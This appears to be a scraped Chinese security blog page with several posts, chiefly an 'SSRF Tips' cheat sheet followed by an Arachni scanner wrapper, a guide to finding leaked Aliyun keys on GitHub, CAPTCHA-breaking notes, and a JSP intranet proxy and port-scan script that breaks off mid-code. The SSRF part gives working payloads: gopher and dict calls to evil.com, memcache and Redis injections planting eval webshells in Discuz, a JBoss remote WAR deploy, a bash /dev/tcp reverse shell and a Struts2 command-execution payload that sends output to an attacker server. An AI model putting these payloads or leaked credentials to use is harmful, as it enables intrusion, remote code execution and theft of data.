SSRF Tips

发布时间:July 21, 2016 // 分类:运维工作,工作日志,PHP,代码学习,linux,生活琐事,代码审计 // No Comments

SSRF PHP function


 
file_get_contents()
fsockopen()
curl_exec()

URL schema support

SFTP




 
http://0cx.cc/ssrf.php?url=sftp://evil.com:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

Dict




 
http://0cx.cc/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

gopher











 
// http://0cx.cc/ssrf.php?url=http://evil.com/gopher.php
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>

evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

TFTP





 
http://0cx.cc/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6

file

 
http://0cx.cc/redirect.php?url=file:///etc/passwd

ldap

 
http://0cx.cc/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

PHP-FPM

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit

SSRF memcache Getshell

Generate serialize



 
<?php
    $code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
    echo serialize($code)."\n".strlen(serialize($code));

Output


 
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据
59  //字符串长度

webshell.php




 
<?php
//gopher可以换成如上其它方式
    header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>

back.php




 
<?php
    header('Location: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a');
?>

example Discuz

open the website



 
http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img]
http://bbs.0cx.cc/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

clear data


 
http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]

backdoor url


 
http://bbs.0cx.cc/data/cache/hello.php

SSRF Redis Getshell

Generate serialize








 
<?php
    $a['output']['preg']['search']['plugins'] = '/.*/e';
    $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);';
    $a['rewritestatus']=1;
    $setting = serialize($a);
    echo $setting."\n".strlen($setting);
?>

Output



 
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;}     //序列化数据
173     //字符串长度

example Discuz

Open website


 
http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44

Backdoor website


 
http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

FFmpeg

cat test.jpg






 
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

subfile






 
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST

PostgreSQL

Exploit



 
> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\​' password=1 port=11211 sslmode=disable','select
version();');

MongoDB

Exploit




 
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')
> nc -l 8000 | hexdump -C
> db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)

CouchDB

exploit


 
http://localhost:5984/_users/_all_docs










 
HTTP/1.1 200 OK
Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
ETag: "BD1WV12007V05JTG4X6YHIHCA"
Date: Tue, 18 Dec 2012 21:39:59 GMT
Content-Type: text/plain; charset=utf-8
Cache-Control: must-revalidate

{"total_rows":1,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
]}

Attacker could also send requests from CouchDB server to intranet by using replication function









 
POST http://couchdb:5984/_replicate
Content-Type: application/json
Accept: application/json

{
    "source" : "recipes",
    "target" : "http://ssrf-me:11211/recipes",
}

Jboss

Jbosss POC


 
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

写入shell




 
http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
    upfile=http://10.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg



 
http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
    upfile=http://内网IP:8080/html5/023.jsp%23.jpg

reverse shell


 
bash -i >& /dev/tcp/123.45.67.89/9999 0>&1

Weblogic

gopher.php




 
<?php
   header("Location:gopher://vps-ip:2333/_test");
?>

vuln website




 
https://example.com/uddiexplorer/SearchPublicRegistries.jsp
POST:
    operator=http://vps-ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

vps




 
> nc -lvv 2333

Connection from xx.xx.xx.xx port 2333 [tcp/snapp] accepted

Local File Read



 
http://www.xxx.com/redirect.php?url=file:///etc/passwd
http://www.xxx.com/redirect.php?url=file:///C:/Windows/win.ini

Bool SSRF

Struts2-016 POC



 
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
//修改SERVER为你vps地址,返回结果在access.log中查看

SSRF Proxy

SSRF_Proxy

ssrfsocks

from:http://blog.safebuff.com/2016/07/03/SSRF-Tips/

Redis启动多端口,运行多实例

发布时间:July 21, 2016 // 分类:运维工作,linux,转帖文章,windows // No Comments

使用redis在同一台机器上,启用多个端口,实现多个实例,完成集群的模拟实现。

  • 启动多实例

redis默认启动端口为6379,我们可以使用 --port 来指定多个端口,如下,在linux终端命令:

redis-server &
redis-server --port 6380 &
redis-server --port 6381 &
redis-server --port 6382 &

查看启动的redis实例:

ps -ef | grep redis

QQ截图20150401095044.png

  • 使用实例

使用其中一个redis实例:

root@iZ251fha7aeZ src]# redis-cli -p 6380

127.0.0.1:6380> keys '*'

(empty list or set)

127.0.0.1:6380> set foo hello

OK

127.0.0.1:6380> keys '*'

1) "foo"

127.0.0.1:6380> set foo1 hello

OK

127.0.0.1:6380> keys '*'

1) "foo1"

2) "foo"

127.0.0.1:6380> get foo1

"hello"

127.0.0.1:6380> 

完成了redis多端口,多实例的部署和使用了

  • 关闭实例

redis 的关闭如下:

redis-cli shutdown

指定端口实例

redis-cli -p 6380 shutdown

Arachni 相关

发布时间:June 21, 2016 // 分类:运维工作,开发笔记,工作日志,linux,代码学习,python // 2 Comments

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import re
import sys
import time
import json
import random
import base64
import hashlib
import threading
import subprocess
from gevent.pool import Pool
from urlparse import urlparse
from get_form import auto_fill_form,getform
"""
这里的作用就是把爬虫结果转化为json
检测思路
1.执行命令
arachni --audit-links --audit-forms --http-user-agent="Mozilla/5.0 (X11; Linux i686; U;) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36" \
    http://testphp.vulnweb.com/ --checks=sql_injection,xss,directory_listing,csrf,xpath_injection --report-save-path=/Users/saline/tools/mycode/spider/report/last0.afr

ruby /Users/saline/tool/tools/arachni/bin/../system/arachni-ui-web/bin/arachni --audit-links --audit-forms --audit-jsons --audit-xmls --audit-ui-inputs --scope-exclude-file-extensions=html --scope-exclude-file-extensions=shtml --http-user-agent="iaskspider/2.0(+http://iask.com/help/help_index.html)" --checks=sql_injection,rfi,directory_listing --report-save-path=/Users/saline/tools/mycode/spider/report/demo.aisec.cn_104446e2321d31be6031ec6daad80c47.afr --timeout=8:00:00 http://demo.aisec.cn/demo/

2.把afr利用arachni_reporter转化为json
#arachni_reporter --reporters-list
arachni_reporter /Users/saline/tools/mycode/spider/report/last0.afr --reporter=json:outfile=/Users/saline/tools/mycode/spider/report/last0_result.json

3.从json里面读取相关的结果,再进行二次分析利用
dist = open('/Users/saline/tools/mycode/spider/report/baimao.json').read()
result = json.loads(dist)
for url in result["sitemap"]:
    if int(result["sitemap"][url]) != 404:
        #输出非404的结果,其实还应该执行对比
        #print url
for urls in result["issues"]:
    print urls["vector"]["action"]+"\t"+urls["vector"]["method"]
    print urls["vector"]["inputs"]

参见帮助文档
http://doc.0xa.cc/r/FIdMhkWFYUvhdKOQQFWtBOltIGxlgsqByLSSPqzkXYRULiYZgm:mobile
http://www.cnblogs.com/vamei/archive/2012/09/23/2698014.html
"""
# 需额外安装arachni
# Arachni rpc clint scan class
class Arachni_Console(object):

    def random_useragent(self):
        USER_AGENTS = [
            "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
            "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
            "Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
            "Googlebot/2.1 (+http://www.google.com/bot.html)",
            "Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)",
            "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
            "iaskspider/2.0(+http://iask.com/help/help_index.html)",
            "Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
            "Sogou Push Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
            "Mozilla/5.0 (compatible; YodaoBot/1.0;http://www.yodao.com/help/webmaster/spider/;)",
            "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
            "Sosospider+(+http://help.soso.com/webspider.htm)",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11)  Firefox/1.5.0.11; 360Spider",
            "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/”; )",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
            "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;  Trident/5.0)",
            "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
            "Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0",
        ]
        return random.choice(USER_AGENTS)
    #扫描中需要注意的是几个地方。允许自定义,交互性较好
    #1.自定义cookie --http-cookie-string
    #2.带有401认证的 --http-authentication-username=username --http-authentication-password=password
    #3.自定义扫描路径 --scope-extend-paths
    #4.自定义ua --http-user-agent
    #5.线程数量 --http-request-concurrency 默认20
    #默认排除html/shtml这类静态文件,可能会对部分jsp的页面带来影响
    def __init__(self, url, http_agent="", cookies=""):
        self.http_agent = "%s"%(self.random_useragent())
        self.start_time         = str(time.time())
        self.url                = url
        self.report             = "%s_%s" % (urlparse(url).netloc, hashlib.md5(self.start_time).hexdigest())
        self.arachni_client  = '/Users/saline/tool/tools/arachni/bin/arachni'
        self.arachni_reporter  = '/Users/saline/tool/tools/arachni/bin/arachni_reporter'
        self.report_file  =  " --report-save-path=/Users/saline/tools/mycode/spider/report/%s.afr" % self.report
        self.cookies  = cookies
        #self.audit = "--audit-links --audit-forms --audit-cookies"
        self.audit = "--audit-links --audit-forms --audit-jsons --audit-xmls --audit-ui-inputs --scope-exclude-file-extensions=html --scope-exclude-file-extensions=shtml"
        self.h_agent = " --http-user-agent=\"%s\"" % (self.http_agent)
        self.h_cookies = " --http-cookie-string=\"%s\"" % (self.cookies)
        self.checks = " --checks=sql_injection,rfi,directory_listing"
        # self.checks = "--checks=rfi,directory_listing,sql_injection,sql_injection_timing,sql_injection_differential,source_code_disclosure,file_inclusion"
        self.timeout = " --timeout=%s" % "8:00:00"
        self.option = self.audit + self.h_agent + self.checks + self.report_file + self.timeout
        self.is_timeout = False
        self.proc       = None
        self.report_jsfile  = '/Users/saline/tools/mycode/spider/report/%s.json' % self.report
        self.result = None

    # Start to Scan
    def _Scan(self):
        # subprocess command
        arachni_cmd = "%s %s %s"%(self.arachni_client,self.option,self.url)
        #self.timer = threading.Timer(6000 * 10 * 10, self.set_time_out())
        #self.timer.start()
        os.system(arachni_cmd)
        #调用subprocess执行有问题。放弃,由于这只是需要结果。所以无需回显
        #self.proc = subprocess.Popen(self.cmd, shell=False)
        #self.proc = subprocess.Popen(arachni_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        #self.proc.wait()
        #for lines in proc.stdout.readlines():
        #    print(lines)
        #self.timer.cancel()
        #for lines in self.proc.stdout.readlines():

    # timeout function
    def set_time_out(self):
        if self.proc is not None:
            self.is_timeout = True
            self.timer.cancel()
            self.proc.kill()

    def get_report(self):
        # arachni_reporter /tmp/test.afr --report=json:outfile=/tmp/test.json
        try:
            self._Scan()
            self._report()
        except Exception, e:
            pass

        return self.result

    # get result, format is json
    def _report(self):
        self.cmd = [
            self.arachni_reporter,
            "/Users/saline/tools/mycode/spider/report/%s.afr" % self.report,
            '--report=json:outfile=%s' % self.report_jsfile
        ]
        self.proc = subprocess.Popen(self.cmd)
        self.proc.wait()
        #self.result = open(self.report_jsfile).read()
        # del report files
        delcmd = "rm -rf /Users/saline/tools/mycode/spider/report/%s.afr" % self.report
        os.system(delcmd)
        self.result = self.report_jsfile
        #self.result = self.get_json(self.report_jsfile)
        #if len(self.result)>0:
        #    return self.result

        #os.remove(self.report_file)
        #os.remove(self.report_jsfile)
#解析json
def get_json(jsonfile):
    #print int(time.time())
    vul_results = []
    jsonresult = []
    dist = open(jsonfile).read()
    result = json.loads(dist)
    #for url in result["sitemap"]:
    #    if int(result["sitemap"][url]) != 404:
    #        pass
            #print url
    if len(result["issues"])>0:
        for urls in result["issues"]:
            data = ''
            acturl = urls["vector"]["action"]
            #urls.append(str(urls["vector"]["action"]))
            #获取input信息
            for vuln in urls["vector"]["inputs"]:
                if len(auto_fill_form(str(vuln)))>0:
                    value = auto_fill_form(str(vuln))
                    data = data + vuln+'='+value+'&'
                else:
                    value = 'casterjs'
                    data = data + vuln +'='+value+'&'
            #获取到actmethod
            if str(urls["vector"]["method"]).find('get')!=-1:
                actmethod = 'GET'
            elif str(urls["vector"]["method"]).find('post')!=-1:
                actmethod = 'POST'

            if str(actmethod).find('get')!=-1 or str(actmethod).find('GET')!=-1:
                if acturl.find('?') ==-1:
                    acturl = acturl +'?'+data.rstrip('&')
                else:
                    acturl = acturl +'&'+data.rstrip('&')
            if len(data.rstrip('&')) == 0:
                actmethod = 'GET'
            vul_results.append(({"url": acturl,
                "probe": {
                    "payload": data.rstrip('&'),
                    "method": actmethod,
                    "url": acturl,
                    "headers": urls["request"]["headers"],}}))
    if len(result["sitemap"])>0:
        for url in result["sitemap"]:
            if result["sitemap"][url] != 404:
                results = getform(url)
                if result is not None:
                    for lists in results:
                        if lists["probe"]['url'] not in jsonresult:
                            data = base64.b64encode(json.dumps(lists["probe"]))
                            newurl = lists["probe"]['url']
                            jsonresult.append(newurl + ' '+ data)
                            #urls.append(newurl + ' '+ data)

    if vul_results is not None:
        for lists in vul_results:
            if lists["probe"]['url'] not in jsonresult:
                data = base64.b64encode(json.dumps(lists["probe"]))
                newurl = lists["probe"]['url']
                jsonresult.append(newurl + ' '+ data)

    if len(jsonresult)>0:
        return jsonresult

if __name__ == '__main__':
    #domain ="http://0cx.cc/"
    domains = ['http://demo.aisec.cn/demo','http://testphp.vulnweb.com/']
    for domain in domains:
        arachni_console = Arachni_Console(domain, http_agent='')
        try:
            results = get_json(arachni_console.get_report())
            for resu in results:
                print resu
        except Exception as e:
            print(str(e))

 

拾取表单的脚本参考http://0cx.cc/get_form_name.jspx

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

#https://github.com/Arachni/arachni/wiki/REST-server
#https://github.com/Arachni/arachni/wiki/REST-API
'''
开启api
arachni_rest_server 
[开启认证]
(./bin/arachni_rest_server  --address=192.168.87.134 --port=7331  --authentication-username=admin --authentication-password=adminpassword)


1.查看扫描状态
GET /scans

2.提交扫描
POST /scans
json.dumps(xxx.json)
其实需要提供的是url和profiles

3.查看某个id的状态
GET /scans/:id

状态大约有几种[
   a.ready 准备中。但是不曾启动扫描
   b.preparing  准备好了,随时可以启动扫描(即初始化插件)
   c.scanning   扫描中
   d.pausing   扫描被暂停了
   e.paused    扫描已经被停职了
   f.cleanup   扫描已经被中止(即等待插件完成等)
   g.aborted   扫描非正常状态结束
   h.done      扫描结束
]

4.暂停扫描
PUT /scans/:id/pause

5.开始[已暂停的]扫描
PUT /scans/:id/resume

6.提取扫描报告
GET /scans/:id/report
GET /scans/:id/report.json
GET /scans/:id/report.xml
GET /scans/:id/report.yaml
GET /scans/:id/report.html.zip

7.删除扫描
DELETE /scans/:id

'''

import urllib2
import json

class ArachniClient(object):

   with open('./profiles/default.json') as f:
      default_profile = json.load(f)

   def __init__(self, arachni_url = 'http://192.168.87.134:7331'):
      self.arachni_url = arachni_url
      self.options = ArachniClient.default_profile

   def get_http_request(self, api_path):
      return urllib2.urlopen(self.arachni_url + api_path).read()

   def post_api(self, api_path):
      options = json.dumps(self.options)
      request = urllib2.Request(self.arachni_url + api_path, options)
      request.add_header('Content-Type', 'application/json')
      return urllib2.urlopen(request).read()

   def put_request(self, api_path):
      request = urllib2.Request(self.arachni_url + api_path)
      request.get_method = lambda: 'PUT'
      return urllib2.urlopen(request).read()

   def delete_request(self, api_path):
      request = urllib2.Request(self.arachni_url + api_path)
      request.get_method = lambda: 'DELETE'
      return urllib2.urlopen(request).read()
   #获取扫描    
   def get_scans(self):
      return json.loads(self.get_http_request('/scans'))
   #获取扫描状态
   def get_status(self, scan_id):
      return json.loads(self.get_http_request('/scans/' + scan_id))
   #暂停扫描
   def pause_scan(self, scan_id):
      return self.put_request('/scans/' + scan_id + '/pause')
   #重启扫描
   def resume_scan(self, scan_id):
      return self.put_request('/scans/' + scan_id + '/resume')
   #获取扫描结果
   def get_report(self, scan_id, report_format = None):
      if self.get_status(scan_id)['status'] == 'done':

         if report_format == 'html':
            report_format = 'html.zip'

         if report_format in ['json', 'xml', 'yaml', 'html.zip']:
            return self.get_http_request('/scans/' + scan_id + '/report.' + report_format)
         elif report_format == None:
            return self.get_http_request('/scans/' + scan_id + '/report')
         else:
            print 'your requested format is not available.'

      else:
         print 'your requested scan is in progress.'
   #删除扫描
   def delete_scan(self, scan_id):
      return self.delete_request('/scans/' + scan_id)
   #开启扫描
   def start_scan(self):
      if self.options['url']:
         return json.loads(self.post_api('/scans'))
      else:
         print 'Target is not set!'

   def target(self, target_url):
      try:
         urllib2.urlopen(target_url)
         self.options['url'] = target_url
      except urllib2.HTTPError, e:
         print e.code

   def profile(self, profile_path):
      with open(profile_path) as f:
         self.options = json.load(f)

if __name__ == '__main__':
   a = ArachniClient()
   a.profile('./profiles/default.json')
   #'http://testphp.vulnweb.com/','http://23.88.112.156/xvwa/'
   a.target('http://23.88.112.156/xvwa/')
   print a.start_scan()

 

github搜索泄露的新姿势

发布时间:June 14, 2016 // 分类:工作日志,运维工作,代码学习,windows // 2 Comments

最开始的信息是来源于http://www.wooyun.org/bugs/wooyun-2016-0218766。看到其中关于ALIYUN_ACCESS_ID以及ALIYUN_ACCESS_KEY的信息泄露后直接利用oss的工具连接成功了。好奇心重的我顺便搜索了下关于oss的信息

直接在github里面搜索ALIYUN_ACCESS_ID或者ALIYUN_ACCESS_KEY抓到不少的信息

https://github.com/search?q=ALIYUN_ACCESS_ID&ref=searchresults&type=Code&utf8=%E2%9C%93

https://github.com/search?q=ALIYUN_ACCESS_KEY&ref=searchresults&type=Code&utf8=%E2%9C%93

测试了下

https://github.com/xukg/GeiliXinli/blob/6c7762b71514fd1a0ac52f7763f3ab18e0f778d5/app/src/main/java/com/geilizhuanjia/android/framework/utils/ConstantUtil.java

顺利成功的连接上了

还有更多~等待挖掘,比如淘宝储存代码的地方,oschina存放代码的地方= =

然后关于连接工具顺利的找到了两个版本[win+mac]

ossclient_mac.zip  ossclient_win.zip

Python识别验证码

发布时间:May 19, 2016 // 分类:开发笔记,代码学习,linux,python,生活琐事 // 1 Comment

最近学习Python识别验证码。

基本都是基于图片处理选择PIL来围绕拓展的。想到之前以前搞过的openvc是否可以做的全面一些呢

下面的是剽窃一个验证码识别大赛的东西,

验证码大概为6种

type1.

type2.

type3.

type4.

type5.

type6.

所有验证码都遵循先分割再识别的流程,分割主要方法是等距分割:type1字符位置固定,分割较简单;type2,type4由于字符数目固定,可以直接等距分割;type3,type5,type6由于字符数目并不固定,所以第一步是识别验证码所包含的字符数,然后再等距分割。汉字/字母/数字的识别模型都是卷积神经网络。type1由于训练集无法直接使用,所以我们根据常用汉字训练了一个通用汉字/拼音识别模型,其他类型验证码均可使用训练集来训练识别模型,其中type3和type4还有可利用的语言上下文信息。
关键技术:当字符数目不确定时,先预测验证码包含的字符个数,再根据字符数进行分割,这样type5,type6的识别问题就分别和type2,type4类似了,这是一种简单通用的验证码识别方案。

算法总体思路如下图,先分割再识别。分割采用等距分割思想,识别采用CNNs模型

type1

此类验证码上方九宫格部分由于字符位置固定,可以直接定位识别。下方3个汉字和一个拼音,垂直方向位置也是固定的,只是水平方向结束的位置在变化,可以按列相加的方法确定结束的位置,然后同时从左右两端开始识别汉字并且确定和上方九宫格汉字的对应关系,找到相似度最大的三个汉字后,剩下的位置就是拼音,直接识别拼音再次到九宫格寻找对应汉字即可。共包含两种识别模型,汉字识别:挑选常用4800个汉字,拼音识别:所有408个拼音。

type2

如图所示,此类验证码包含26个字母和10个数字,而且每张验证码均包含5个位置固定的字符,间距变化很小,所以直接等距分割(相邻字符有重叠)。利用训练集共10万个字符直接训练CNN即可,无需重新生成训练数据。

type3

此类验证码分两种情况。
1.拼音首字母,要求输出4-5个字符的成语或诗句的拼音首字母。根据训练集统计可知共包含约700个不同成语或诗句,所以首先将训练集的首字母重新标注为成语或诗句,接下来就只是一个汉字识别问题。从图像上看,根据“的拼音首字母”的“的”字可以将图像分为左右两部分,所要识别的只是左边部分的4或5个汉字。所以识别流程如下:
1) 根据水平方向从左至右第85像素将图像分割为两部分
2) 预测左边图像部分包含字符的个数n={4,5},是个二分类问题,这一步实验中识别率达到0.999以上
3) 确定最左边字符的起始位置后,根据n的大小,可以在水平方向上进行等距分割
4) 由于垂直方向字符位置有较大变化,所以去除背景像素后,计算每列像素的重心,依次可以进一步确定每个字符在垂直方向的精确位置
5) 分割出来之后,用训练集所训练的汉字识别模型进行识别。测试时,如果所识别出的成语或诗句未在训练集出现,则在训练集中寻找最相似的代替
2.成语。要求直接输出成语本身,这种验证码与输出首字母的验证码类似,但是只需要3) 4) 5)三步即可。

type4

识别思路与type3的第2种情况完全相同,只是数据集不同而已。

type5

统计训练集可知,每个验证码只包含4-5个字母或数字,相邻字符粘连在一起。

  1. 水平方向采用按列相加的方法可以确定起始和结束的位置,垂直方向字符都在第1至36像素间,据此可以从整幅图像中获得验证码的具体位置
  2. 预测验证码包含的字符数之后进行等距分割并识别得到最终结果

###type6

识别思路完全和type5相同,只是字母数字变为了汉字。这类验证码是带噪声的扭曲汉字,而且每个验证码的汉字是随机的、没有任何语义信息,是所有类别中最难的一类。开始我也搁置了很久,但是在某一天偶然得到灵感:就是先预测验证码中包含的字符数,这样一来除了字符识别起来更难一些之外,type6和其他类并没有什么其区别了,所以我在做type5和type6时使用了完全相同的思路和算法。

Mac 下安装 Python-OpenCV

首先确保已经安装了Python.Mac 下可以直接使用 brew 来安装OpenCV,具体步骤如下:

# add opencv
brew tap homebrew/science

# install opencv
brew install opencv

安装必要的python库

pip install numpy
pip install matplotlib

测试是否安装成功

import cv2
import numpy as np
from matplotlib import pyplot as plt

img = cv2.imread('road.png', 0)
plt.imshow(img, cmap='gray', interpolation='bicubic')
plt.xticks([]), plt.yticks([]) # to hide tick values on X and Y axis
plt.show()

作为一个曾经编译过无数次 OpenCV 最后好不容易成功的人来说,我觉得安装 OpenCV 这个问题可以归为玄学,尤其是在 Windows 下,所以安装的时候最好多请教 Google, Good Luck!还是按照这个来吧.Install OpenCV On Mac

具体的内容等我找到资料了慢慢的填充

参考几篇文章

http://aducode.github.io/posts/2014-07-08/python_identification_verification_code.html
http://sineyuan.github.io/2016/01/06/python-captcha/
http://www.pythonclub.org/project/captcha/python-pil
http://bbs.pkbigdata.com/topic/8726c0abb99142c88b8b422483aedb75.html
http://blog.csdn.net/niuwei22007/article/category/5868745
http://www.pyimagesearch.com/2015/06/15/install-opencv-3-0-and-python-2-7-on-osx/
http://seisman.info/anaconda-scientific-python-distribution.html

内网探测脚本(内网代理访问+内网端口扫描) [php+jsp]

发布时间:April 2, 2016 // 分类:工作日志,PHP,运维工作,转帖文章,python // No Comments

前言: 某些情况下,内网渗透时,代理出不来,工具传上去被杀,总之就是遇到各种问题。而最过纠结的时,我已经知道内网哪台机器有洞了..(经验多的大神飘过,如果能解决某些内网渗透时遇到的坑的问题,求分享解决方法..)

功能: 代理访问虽然是个简单的功能,但是我觉得够用了。完全可以用来直接扫描内网其他web服务器的目录,尝试内网其其他登陆入口的弱口令,或者直接代理打struts或者其他漏洞。

web扫描: 其实我觉得用web发现更加贴切,其实有了端口扫描为啥还要这个.(因为之前的代码不想动它了。)

端口扫描: 大家都懂。(此功能问题较多,我觉得如果能使用工具或者代理回来就尽量不使用此脚本进行扫描。)

<%@page import="java.io.File"%>
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@ page isThreadSafe="false"%>
<%@page import="java.net.*"%>
<%@page import="java.io.PrintWriter"%>
<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.FileWriter"%>
<%@page import="java.io.OutputStreamWriter"%>
<%@page import="java.util.regex.Matcher"%>
<%@page import="java.io.IOException"%>
<%@page import="java.net.InetAddress"%>
<%@page import="java.util.regex.Pattern"%>
<%@page import="java.net.HttpURLConnection"%>
<%@page import="java.util.concurrent.LinkedBlockingQueue"%>


<%!final static List<String> list = new ArrayList<String>();
    String referer = "";
    String cookie = "";
    String decode = "utf-8";
    int thread = 100;
    //final static List<String> scanportlist = new ArrayList<String>();
    String cpath="";

    //建立一个HTTP连接
    HttpURLConnection getHTTPConn(String urlString) {
        try {
            java.net.URL url = new java.net.URL(urlString);
            java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url
                    .openConnection();
            conn.setRequestMethod("GET");
            conn.addRequestProperty("User-Agent",
                    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon;)");
            conn.addRequestProperty("Accept-Encoding", "gzip");
            conn.addRequestProperty("referer", referer);
            conn.addRequestProperty("cookie", cookie);
            //conn.setInstanceFollowRedirects(false);
            conn.setConnectTimeout(3000);
            conn.setReadTimeout(3000);

            return conn;
        } catch (Exception e) {
            return null;
        }
    }

    String PostData(String urlString, String postString) {
        HttpURLConnection http = null;
        String response = null;
        try {
            java.net.URL url = new java.net.URL(urlString);
            http = (HttpURLConnection) url.openConnection();
            http.setDoInput(true);
            http.setDoOutput(true);
            http.setUseCaches(false);
            http.setConnectTimeout(50000);
            http.setReadTimeout(50000);
            http.setRequestMethod("POST");
            http.setRequestProperty("Content-Type",
                    "application/x-www-form-urlencoded");
            http.connect();
            OutputStreamWriter osw = new OutputStreamWriter(
                    http.getOutputStream(), decode);
            osw.write(postString);
            osw.flush();
            osw.close();
            response = getHtmlByInputStream(http.getInputStream(), decode);
        } catch (Exception e) {
            response = getHtmlByInputStream(http.getErrorStream(), decode);
        }
        return response;
    }

    HttpURLConnection conn;

    //从输入流中读取源码
    String getHtmlByInputStream(java.io.InputStream is, String code) {
        StringBuffer html = new StringBuffer();
        try {

            java.io.InputStreamReader isr = new java.io.InputStreamReader(is,
                    code);
            java.io.BufferedReader br = new java.io.BufferedReader(isr);
            String temp;
            while ((temp = br.readLine()) != null) {
                if (!temp.trim().equals("")) {
                    html.append(temp).append("\n");
                }
            }
            br.close();
            isr.close();
        } catch (Exception e) {
            System.out.print(e.getMessage());
        }

        return html.toString();
    }

    //获取HTML源码
    String getHtmlContext(HttpURLConnection conn, String decode,boolean isError) {
        Map<String, Object> result = new HashMap<String, Object>();
        String code = "utf-8";
        if (decode != null) {
            code = decode;
